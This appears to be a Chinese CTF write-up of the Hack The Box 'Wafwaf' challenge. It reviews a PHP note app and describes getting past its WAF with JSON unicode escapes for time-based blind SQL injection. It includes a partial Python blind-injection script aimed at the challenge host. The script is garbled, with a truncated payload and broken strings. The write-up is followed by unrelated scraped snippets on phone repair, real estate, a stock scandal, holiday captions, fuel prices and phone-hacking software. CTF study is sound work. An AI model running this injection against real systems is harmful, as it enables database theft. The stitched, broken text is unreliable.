又开始了一天的学习之路,首先打开了我的Hack the Box
Wafwaf
提示:My clas *** ate Jason made this *** all and super secure note taking application, check it out!(我的同学Jason *** 了这个小型且超级安全的笔记记录应用程序,请查看!)
访问界面,简单明了,直接给了源码
http://159.65.87.50:31703/
显然就是代码审计了
简单看下代码,流程就是:php://input获取数据=> waf函数验证非法字符=>? 解码json数据=> 执行sql语句
error_reporting(0)? 关闭错误报告。
preg_match_all? ? ? 函数用于执行一个全局正则表达式匹配。
preg_quote()? ? ? ? ? 需要参数 str 并向其中 每个正则表达式语法中的字符前增加一个反斜线。 这通常用于你有一些运行时字符串 需要作为正则表达式进行匹配的时候。
正则表达式特殊字符有: . \ + * ? [ ^ ] $ ( ) { }=! < > | : -
json_decode? ? ? ? ? 对 *** ON 格式的字符串进行解码。
file_get_contents() 把整个文件读入一个字符串中。
没过滤全sql关键字,还可以注入
preg_match_all函数可能有问题,可能可以通过某种输入绕过正则
php://input可能有漏洞
json_decode函数可能有漏洞
首先,检查 waf() *** 时,我们收到输入并验证筛选。如果不在筛选json_decode,则可以看到使用 *** 返回值。
query() *** 获取 $obj->user 的值并发送 SQL 请求,但查看返回值时,不会返回特定值,也不会输出错误。所以首先好像是Time Based Blind SQLI问题
然后,我们检查 waf 的参数值,获取并交出php://input的值。
php://input获取原始数据,该数据将作为 Post 请求的主体部分。
将值发送到原始数据,以便获取并输出该值。因此,让我们将 SQLI 有效负载作为原始数据
在json_decode中,它转换为字符串并返回。Unicode Escape?可以在此处完成。
理论上应该可以用sqlmap自定义tamper去跑的,但是自己尝试半天没有成功,最后自己写了盲注脚本,花了我一下午的时间,最后跑这个脚本还等了我一晚上的时间
#!/usr/bin/python3 # -*- coding:utf-8 -*- """ @author: maple @file: wafwaf.py @time: 2021/1/23 17:10 @desc: """ from requests import post from time import time from json import dumps url="http://159.65.87.50:31703" headers={'content-type': 'application/json'} payload= -".format(second_time - first_time)) elif mode=='2': for i in range(100): first_time=time() if i < 10: unicode_="\0 + str(i) elif i >=10 and i < 20: unicode_="\1\0 + str(i)[1] elif i >=20 and i < 30: unicode_="\2\0 + str(i)[1] elif i >=30 and i < 40: unicode_="\3\0 + str(i)[1] elif i >=40 and i < 50: unicode_="\4\0 + str(i)[1] elif i >=50 and i < 60: unicode_="\5\0 + str(i)[1] elif i >=60 and i < 70: unicode_="\6\0 + str(i)[1] elif i >=70 and i < 80: unicode_="\7\0 + str(i)[1] elif i >=80 and i < 90: unicode_="\8\0 + str(i)[1] elif i >=90 and i < 100: unicode_="\9\0 + str(i)[1] else: unicode_="\1\0\0" post(url, data=json_update(query.format(unicode_), '0'), headers=headers) second_time=time() if second_time - first_time >=4.9: print("[*] Sleep : {}".format(second_time - first_time)) print("[*] {} : {} -".format(string, i)) break elif mode=='3': result='' for j in range(1, Len + 1): unicode__="\0 + str(j) for i in range(33, 128): if i >=33 and i < 40: unicode_="\3\0 + str(i)[1] elif i >=40 and i < 50: unicode_="\4\0 + str(i)[1] elif i >=50 and i < 60: unicode_="\5\0 + str(i)[1] elif i >=60 and i < 70: unicode_="\6\0 + str(i)[1] elif i >=70 and i < 80: unicode_="\7\0 + str(i)[1] elif i >=80 and i < 90: unicode_="\8\0 + str(i)[1] elif i >=90 and i < 100: unicode_="\9\0 + str(i)[1] elif i >=100 and i < 110: unicode_="\1\0\0 + str(i)[2] elif i >=110 and i < 120: unicode_="\1\1\0 + str(i)[2] elif i >=120 and i < 130: unicode_="\1\2\0 + str(i)[2] else: unicode_="\1\3\0 + str(i)[2] first_time=time() post(url, data=json_update(query.format(unicode__, unicode_), '0'), headers=headers) second_time=time() if second_time - first_time >=4.9: result +=chr(i) break print("[*] {} : {}".format(string, result)) print("-")
代码此处贴一半,有需要的人自己尝试完善,也可以私聊我给你。
这套代码如果以后遇到基于时间的盲注还可以复用
最后脚本跑出来的结果
因为一开始对这题没有任何思路,尝试了多种sqlmap知识,然后一直在google和百度,但是都没有找到解决办法,但是也乘机见识了很多新的姿势,比如各种绕过,也学会了编写时间注入的tamper脚本
可以用整洁的纯棉毛巾迅速擦洗,用电吹风烘干內部,留意电吹风出风口与手机上的间距需离的远一些,让吹到手机的风溫度贴近常温下,电吹风吹手机上的時间也不适合太长,二十分钟基础能够,把手机送至售后维修服务处开...
房地产咨询公司Commercial Property Partners LLP(CPP)已在谢菲尔德Don Valley中心Distington House的10,000平方英尺底层办公室套房中获得1...
从7月暴风集团实控人冯鑫被警方带走开始,曾经的“妖股”暴风集团接连遭遇高管离职,净资产为负,连审计机构都选择“告辞”,公司面临诸多暂停上市风险。 暴风集团12月2日晚公告称,公司经营状况发生重大不利...
尽管我们从童年长大到青少年,心中的童真一直未曾改变,六一儿童节的目的就是让所有人感受到快乐和开学,成年人亦是如此,下面友谊长存带来:2020六一快乐的朋友圈文案 六一儿童节开心句子。 2020六一快...
记者从国家发改委获悉,本次油价调整具体情况如下:汽油每吨下调420元,柴油每吨下调405元。全国平均来看:92号汽油每升下调0.33元;95号汽油每升下调0.35元;0号柴油每升下调0.35元。央视财...
黑客的控制别人手机的软件一般都自己写出来的程序,公开的软件是不可以在别人不知情的情况下控制别人的手机的,也有很多可以远程控制别人手机都合法软件,这是。 试一下腾讯WiFi管家,可以对WiFi热点进行安...